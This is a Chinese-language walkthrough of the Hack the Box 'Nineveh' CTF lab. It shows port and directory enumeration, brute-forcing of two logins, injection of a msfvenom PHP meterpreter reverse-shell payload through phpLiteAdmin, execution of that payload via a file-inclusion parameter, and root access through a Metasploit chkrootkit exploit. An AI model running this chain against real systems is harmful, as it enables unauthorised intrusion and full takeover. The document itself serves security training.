大家好!今天,我们将完成另一个CTF挑战:“Nineveh”,它是Hack the Box提供的一个在线渗透实验。
级别:中级
任务:找到受害者机器上的user.txt文件和root.txt文件。
由于这些实验室可以在线访问,因此它们具有静态IP。 Nineveh的IP是10.10.10.43,所以,让我们首先从nmap端口枚举来下手吧。
nmap -A 10.10.10.43
结果表明,端口80和443是开放的。
我们考察了80端口,但没有找到有意义的线索。
接下来,我们使用kali的dirb工具枚举了目录,并发现了一些重要的目录,例如http://10.10.10.43/department/,然后,利用Web浏览器做进一步的考察。
dirb http://10.10.10.43 /usr/share/wordlist/dirb/big.txt
我们找到了登录页面,具体如图所示。
所以,我们尝试通过用户名和密码的随机组合进行登陆。当我们用admin(用户名)和password(密码)进行登录时,系统返回了"Invalid Password"消息,由此可以看出,用户名肯定是admin。
然后,我们利用burp suit进行蛮力攻击,并使用rockyou.txt文件作为密码字典。之后,我们顺利获得正确的登录组合。
Username: admin Password: 1q2w3e4r5t
使用上面的凭证登录,之后将进入管理控制台。
通过Notes选项卡可以看出,显示的文字一定是存储在系统某处的一个名为ninevehNotes.txt的文件中。
之后,我们还探索了端口443,并找到以下网页。 我们也考察了它的源码,但没有找到进一步的线索。
因此,再次使用dirb工具进行目录蛮力攻击,并找到了/db目录。
dirb https://10.10.10.43 /usr/share/wordlist/dirb/big.txt
我们再次浏览了上面的目录,并注意到了phpLiteAdmin v1.9的登录页面。
我们再次用burp suit对密码进行破解,并得到密码:password123。
通过发现的密码,我们进入PHP LiteAdmin页面。并且,在阅读漏洞DB 24044的描述后,利用Google找到了利用该漏洞的方法。
之后,我们创建了一个新的数据库“ninevehNotes.txt.shell.php”。
接着,我们创建了一个新表“Demo”,并添加了一个字段。
然后,在字段1中创建了一个数据项。
接下来,让我们创建一个对新数据库进行注入攻击的PHP有效载荷。这里,我们使用msfvenom命令来生成PHP后门。
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.25 lport=4444 -f raw
现在从 *<?php….die();复制代码,并在新终端中启动multi handler。
转到insert选项卡,将上面复制的代码粘贴到Value下面的文本字段中。
你可能会注意到,/var/tmp/ninevehNotes.txt.shell.php就是我们数据库的路径。
如果您还记得,我们已经访问过管理控制台并看过Notes选项卡,实际上,我们可以用它来执行后门。
http://10.10.10.43/department/manage.php?notes=/var/tmp/ninevehNotes.txt.shell.php
同时,返回到Metasploit终端,并通过利用multi handler来获取metepreter会话。
msf use exploit/multi/handler msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp msf exploit(multi/handler) set lhost 10.10.14.25 msf exploit(multi/handler) set lport 4444 msf exploit(multi/handler) exploit
从下面的图片中,我们可以看到Meterpreter 会话(AI) 1。但是,活还没完,因为我们还需要提权。
meterpreter > sysinfo meterpreter > cd /home meterpreter > ls meterpreter > cd amrois meterpreter >ls meterpreter > cat user.txt
在进行枚举之后,我们注意到目录报告由用户amrois拥有,并且这些报告是由chkrootkit连续生成的,生成频率为每分钟一次。
在Google的帮助下,我们知道metasploit包含了一个利用chkrootkit的漏洞。输入下图所示命令,以加载exploit/unix/local/chkrootkit模块,然后设置session 1和任意lport(如4545)并运行该模块。
这时会得到另一个会话,就像你看到的,我们已经得到了目标计算机的命令行shell。 现在,如果输入id来检查uid,系统会显示uid = 0,这表明我们已经获得了root身份。
id cd /root
要查看/root目录中的所有内容,可以使用下面的命令:
ls -lsa
在命令输出中,将看到一个文本文件,接下来,我们可以执行下列命令:
cat root.txt
恭喜!!我们已经顺利完成任务,并最终获得了root访问权限。
原文:http://www.hackingarticles.in/hack-the-box-nineveh-walkthrough/